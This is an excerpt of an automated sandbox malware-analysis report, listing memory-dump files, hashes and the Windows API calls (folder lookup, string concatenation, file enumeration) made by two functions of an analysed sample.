                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: T8
                                    • API String ID: 0-1243456643
                                    • Opcode ID: ebee7b7bad02afd5c38f62567c68525325c0f01fa4448d3b7adcdae8bc16ad3d
                                    • Instruction ID: cbd5733198006f98867c2fb86eb96e52c7e5a26a5da37156339eef07932e74a7
                                    • Opcode Fuzzy Hash: ebee7b7bad02afd5c38f62567c68525325c0f01fa4448d3b7adcdae8bc16ad3d
                                    • Instruction Fuzzy Hash: 61216DF1600205BF9F20AFB1C8C18AB77E9AF04368714661AFA25A7651E731EE4087A0
                                    Function 00E25190 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E28F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E28F9B
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E251CA
                                    • lstrcat.KERNEL32(?,00E31058), ref: 00E251E7
                                    • lstrcat.KERNEL32(?,009988D8), ref: 00E251FB
                                    • lstrcat.KERNEL32(?,00E3105C), ref: 00E2520D
                                      • Part of subcall function 00E24B60: wsprintfA.USER32 ref: 00E24B7C
                                      • Part of subcall function 00E24B60: FindFirstFileA.KERNEL32(?,?), ref: 00E24B93
                                      • Part of subcall function 00E24B60: StrCmpCA.SHLWAPI(?,00E30FC4), ref: 00E24BC1
                                      • Part of subcall function 00E24B60: StrCmpCA.SHLWAPI(?,00E30FC8), ref: 00E24BD7
                                      • Part of subcall function 00E24B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00E24DCD
                                      • Part of subcall function 00E24B60: FindClose.KERNEL32(000000FF), ref: 00E24DE2
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
                                    • String ID:
                                    • API String ID: 2667927680-0
                                    • Opcode ID: 07a3a0ac3e10326ec898511f729aea80042034c5f712d865640fa57a7ec572e5
                                    • Instruction ID: 12544aa8caf3deda88e881d4a20ddfa7824d763df5b56e7eaf64fa4a3f78c7a2
                                    • Opcode Fuzzy Hash: 07a3a0ac3e10326ec898511f729aea80042034c5f712d865640fa57a7ec572e5
                                    • Instruction Fuzzy Hash: 20212FB6900208A7C724F770FC46EED33BC9B54700F404598F685A6185EE7596C8CF91